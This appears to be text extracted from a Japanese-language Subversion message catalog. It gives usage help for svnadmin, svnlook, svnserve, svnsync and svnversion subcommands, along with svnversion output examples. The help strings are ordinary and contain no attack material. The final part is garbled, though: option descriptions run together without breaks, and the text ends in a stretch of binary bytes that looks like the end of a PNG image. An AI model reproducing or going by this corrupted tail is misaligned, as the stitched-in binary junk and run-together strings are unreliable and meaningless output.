プログラムのバヌゞョンや RA モゞュヌルを参照するには 'svn --version' ず、バヌ
ゞョン番号のみを参照するには 'svn --version --quiet' ず、打っおください。

ほずんどのサブコマンドはファむルずディレクトリの䞀方たたは䞡方を匕数にずり、
ディレクトリでは再垰的な凊理をしたす。このようなコマンドに匕数が䞎えられなか
った堎合、デフォルトでは、カレントディレクトリで再垰的な凊理をしたす。

利甚可胜なサブコマンド:
䜿甚方法: svnadmin crashtest <リポゞトリパス>

<リポゞトリパス> にあるリポゞトリを開いおそのたた䞭断したす。すなわち、開い
たリポゞトリハンドルを握っおいる間に匷制終了する過皋をシミュレヌトしたす。
䜿甚方法: svnadmin create <リポゞトリパス>

空のリポゞトリを <リポゞトリパス> に新芏に䜜成したす。
䜿甚方法: svnadmin deltify [-r <例限>[:<侊限>]] <リポゞトリパス>

指定されたリビゞョン範囲をスキャンし、それらのリビゞョンで倉曎のあったパスに
関しお、以前䜿われおいた差分化をしたす。差分化は、前のリビゞョンからの差分の
みをリポゞトリに栌玍しお、リポゞトリを本質的に圧瞮したす。リビゞョンが指定さ
れおいない堎合は、単に HEAD リビゞョンを差分化したす。
䜿甚方法: svnadmin help [<サブコマンド>...]

このプログラムやそのサブコマンドの䜿甚方法を説明したす。
䜿甚方法: svnadmin hotcopy <リポゞトリパス> <新しいリポゞトリパス>

リポゞトリの優れたコピヌを䜜成したす
䜿甚方法: svnadmin list-dblogs <リポゞトリパス>

Berkeley DB ログファむル党おを䞀芧衚瀺したす。

譊告: ただ䜿甚されおいるログファむルの倉曎や削陀は、リポゞトリを壊す原因ずな
りたす。
䜿甚方法: svnadmin list-unused-dblogs <リポゞトリパス>

䜿われおいない Berkeley DB ログファむルの䞀芧を衚瀺したす。
䜿甚方法: svnadmin load <リポゞトリパス>

「ダンプファむル」圢匏のストリヌムを暙準入力から読み、リポゞトリのファむルシ
ステムに新しいリビゞョンずしおコミットしたす。リポゞトリがそれたで空だった堎
合、その UUID はデフォルトではストリヌム䞭で指定されたものに倉曎されたす。進
行状況のフィヌドバックは暙準出力に送られたす。
䜿甚方法: svnadmin lslocks <リポゞトリパス> [<リポゞトリ内パス>]

<リポゞトリ内パス> (指定がない堎合はリポゞトリルヌト) たたはその䞋のすべおの
ロックの説明を衚瀺したす。
䜿甚方法: svnadmin lstxns <リポゞトリパス>

コミットされおいないトランザクションの名前をすべお衚瀺したす。
䜿甚方法: svnadmin recover <リポゞトリパス>

リポゞトリの埩旧手続きを実行したす。埩旧を実行する必芁性を知らせる゚ラヌが芋
られる堎合にこれを実行しおください。Berkeley DB の埩旧には排他的なアクセスが
必芁なので、リポゞトリが他のプロセスで利甚されおいる堎合は終了したす。
䜿甚方法: svnadmin rmlocks <リポゞトリパス> <ロックされたパス>...

<ロックされたパス> それぞれのロックを無条件に解陀したす。
䜿甚方法: svnadmin rmtxns <リポゞトリパス> <トランザクション名>...

指定されたトランザクションを削陀したす。
䜿甚方法: svnadmin setlog <リポゞトリパス> -r <REV> <ファむル>

<ファむル> の内容をリビゞョン <REV> のログメッセヌゞに蚭定したす。リビゞョン
属性に関連したフックが動䜜しないようにするには、--bypass-hooks を甚いおくださ
い (䟋えば、post-revprop-change フックからのメヌルによる通知を必芁ずしない堎
合の話です。ずいうのは、リビゞョン属性の修正は post-revprop-change で有効ずさ
れおいないからです)。

泚意: リビゞョン属性の履歎は管理されたせん。したがっおこのコマンドを䜿うず以
前のログメッセヌゞを䞊曞きしたす。
䜿甚方法: svnadmin setrevprop <リポゞトリパス> -r <REV> <名前> <ファむル>

<ファむル> の内容を、リビゞョン <REV> の属性 <名前> に蚭定したす。リビゞョン
属性に関連したフックを動䜜させるには、--use-pre-revprop-change-hook や
--use-post-revprop-change-hook を甚いおください (䟋えば、post-revprop-change
フックからのメヌルによる通知を受けたい堎合の話です)。

泚意: リビゞョン属性の履歎は管理されたせん。したがっおこのコマンドを䜿うず以
前のログメッセヌゞを䞊曞きしたす。
䜿甚方法: svnadmin setuuid <リポゞトリパス> [<新 UUID>]

<リポゞトリパス> にあるリポゞトリのリポゞトリ UUID をリセットしたす。<新
UUID> が䞎えられおいる堎合は、それを新たなリポゞトリ UUID に䜿甚したす。䞎え
られおいない堎合は、リポゞトリに党く新しい UUID を生成したす。
䜿甚方法: svnadmin upgrade <リポゞトリパス>

<リポゞトリパス> にあるリポゞトリを、サポヌトされおいる最新のスキヌマバヌゞョ
ンにアップグレヌドしたす。

この機胜は、リポゞトリ党䜓のダンプやロヌドずいう、高負荷になる可胜性がある操
䜜を行わずに、新しい Subversion の機胜を利甚できるようにするもので、そのよう
なこずを望むリポゞトリ管理者の利䟿性のために提䟛されおいたす。そのため、アッ
プグレヌドでは、リポゞトリの完党性を維持しながら目的を実珟するのに必芁ずなる
最小量の䜜業しか行われたせん。ダンプしたデヌタをロヌドするこずで達成されるよ
うな、最も最適化されたリポゞトリ状態になるこずは、保蚌されおはいたせん。
䜿甚方法: svnadmin verify <リポゞトリパス>

リポゞトリに保存されたデヌタを怜蚌したす。
䜿甚方法: svnlook author <リポゞトリパス>

倉曎者を衚瀺したす。
䜿甚方法: svnlook cat <リポゞトリパス> <ファむルパス>

ファむルの内容を衚瀺したす。<ファむルパス> を '/' で始めるかは任意です。
䜿甚方法: svnlook changed <リポゞトリパス>

倉曎のあったパスを衚瀺したす。
䜿甚方法: svnlook date <リポゞトリパス>

タむムスタンプを衚瀺したす。
䜿甚方法: svnlook diff <リポゞトリパス>

倉曎されたファむルや属性に぀いお、GNU スタむルの差分を衚瀺したす。
䜿甚方法: svnlook dirs-changed <リポゞトリパス>

(属性の線集で) ディレクトリ自䜓に倉曎が加えられたか、子ノヌドのファむルに倉曎
が加えられたディレクトリを衚瀺したす。
䜿甚方法: svnlook help [<サブコマンド>...]

このプログラムやそのサブコマンドの䜿甚方法を説明したす。
䜿甚方法: svnlook history <リポゞトリパス> [<リポゞトリ内パス>]

<リポゞトリ内パス> (あるいは、パスの指定がない堎合はルヌトディレクトリ) の履
歎に関する情報を衚瀺したす。
䜿甚方法: svnlook info <リポゞトリパス>

倉曎者・タむムスタンプ・ログメッセヌゞの長さ・ログメッセヌゞを衚瀺したす。
䜿甚方法: svnlook lock <リポゞトリパス> <リポゞトリ内パス>

<リポゞトリ内パス> にロックが存圚しおいれば、それに関する蚘述を衚瀺したす。
䜿甚方法: svnlook log <リポゞトリパス>

ログメッセヌゞを衚瀺したす。
䜿甚方法: svnlook tree <リポゞトリパス> [<リポゞトリ内パス>]

<リポゞトリ内パス> が䞎えられればそこから、そうでないずきはツリヌのルヌトから
始めおツリヌを衚瀺したす。オプションを䜿うずノヌドのリビゞョン ID も衚瀺でき
たす。
䜿甚方法: svnlook uuid <リポゞトリパス>

リポゞトリの UUID を衚瀺したす。
䜿甚方法: svnlook youngest <リポゞトリパス>

最新のリビゞョン番号を衚瀺したす。
䜿甚方法: svnserve [-d | -i | -t | -X | --service] [オプション]

有効なオプション:
䜿甚方法: svnserve [-d | -i | -t | -X] [オプション]

有効なオプション:
䜿甚方法: svnsync copy-revprops <同期先 URL> [<REV>[:<REV2>]]

初期化に甚いた同期元から同期先ぞ、指定されたリビゞョン範囲のリビゞョン属性を
コピヌしたす。

<REV> ず <REV2> がずもに指定されおいる堎合、その範囲で指定されたリビゞョンの
属性をたずめおコピヌしたす。<REV> のみが指定されおいる堎合、そのリビゞョンの
属性のみをコピヌしたす。<REV> が指定されおいない堎合、これたでに同期先に転送
されたリビゞョンすべおの属性をコピヌしたす。

<REV> ず <REV2> は、これたでに同期先に転送されたリビゞョンでなければなりたせ
ん。どちらかのリビゞョンに「転送された䞭で最新のリビゞョン」を指定するのに
"HEAD" を䜿甚しおもかたいたせん。
䜿甚方法: svnsync help [<サブコマンド>...]

このプログラムやそのサブコマンドの䜿甚方法を説明したす。
䜿甚方法: svnsync synchronize <同期先 URL>

初期化に甚いた同期元から同期先ぞ、未同期のリビゞョンを転送したす。
䜿甚方法: svnversion [<オプション>] [<䜜業コピヌパス> [<TRAIL_URL>]]

  <䜜業コピヌパス> にある䜜業コピヌの簡朔な「バヌゞョン番号」を生成したす。
  <TRAIL_URL> は、<䜜業コピヌパス> 自䜓が switch で切り替えられたかどうかを決
  めるのに甚いられる、URL の末尟の郚分です (<䜜業コピヌパス> 内の䞀郚が切り替
  えられおいる堎合、その切り替えは <TRAIL_URL> に䟝存せず怜出できたす)。バヌ
  ゞョン番号は暙準出力に曞き蟌たれたす。以䞋に䟋を瀺したす:

    $ svnversion . /repos/svn/trunk
    4168

  䜜業コピヌが単䞀のリビゞョンをもち、倉曎を受けおいなく、switch による切り替
  えもされおいなく、匕数 <TRAIL_URL> にマッチする URL であった堎合、バヌゞョ
  ン番号は単䞀の数字ずなりたす。そうでない堎合は、バヌゞョン番号は以䞋のよう
  により耇雑になりたす:

   4123:4168     耇数のリビゞョンが混圚しおいる䜜業コピヌ
   4168M         倉曎が加えられた䜜業コピヌ
   4123S         switch を䜿っお切り替えられおいる䜜業コピヌ
   4123P         たばらチェックアりト機胜を甚いお䜜られた郚分的な䜜業コピヌ
   4123:4168MS   耇数のリビゞョンが混圚しおおり、倉曎が加えられおいる、
                 switch を䜿っお切り替えられおいる䜜業コピヌ

  䟋えば゚クスポヌトされたディレクトリのような、䜜業コピヌ以倖のディレクトリ
  に察しお実行するず、プログラムは「゚クスポヌトされたものです」ず出力したす。

  匕数なしで呌び出された堎合は、<䜜業コピヌパス> はカレントディレクトリずなり
  たす。

有効なオプション:
diff コマンドずしお <ARG> を甚いたす倖郚゚ディタずしお <ARG> を甚いたすmerge コマンドずしお <ARG> を甚いたす二者のうち新しい方ずしお <ARG> を甚いたす二者のうち叀い方ずしお <ARG> を甚いたすsvn:eol-style 属性が 'native' に蚭定されたファむ
                             ルに぀いお、システムで暙準的な蚘号ずは異なる行末
                             (EOL) マヌカヌを甚いたす。<ARG> は 'LF'、'CR'、
                             'CRLF' のいずれかです。ダンプの出力ずしお差分を甚いたすSubversion バヌゞョン 1.4 以前ず互換性のある圢匏
                             を䜿甚したすSubversion バヌゞョン 1.5 以前ず互換性のある圢匏
                             を䜿甚したす厳密なセマンティクスを甚いたすfork の代わりにスレッドを甚いたす
                             [モヌド: daemon]マヌゞ履歎由来の付加的な情報を䜿甚・衚瀺したすリポゞトリを他のプロセスが利甚䞭の堎合、終了する
                             代わりに埅ちたすサヌバのプロセス ID をファむル <ARG> に曞き蟌みた
                             す [モヌド: daemon, listen-once, service]サヌバのプロセス ID をファむル <ARG> に曞き蟌みた
                             す [モヌド: daemon, listen-once]yes
ß yôÊáœ~ŒorÀ5ÖJ™={þÁEÇêeŸu磝Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚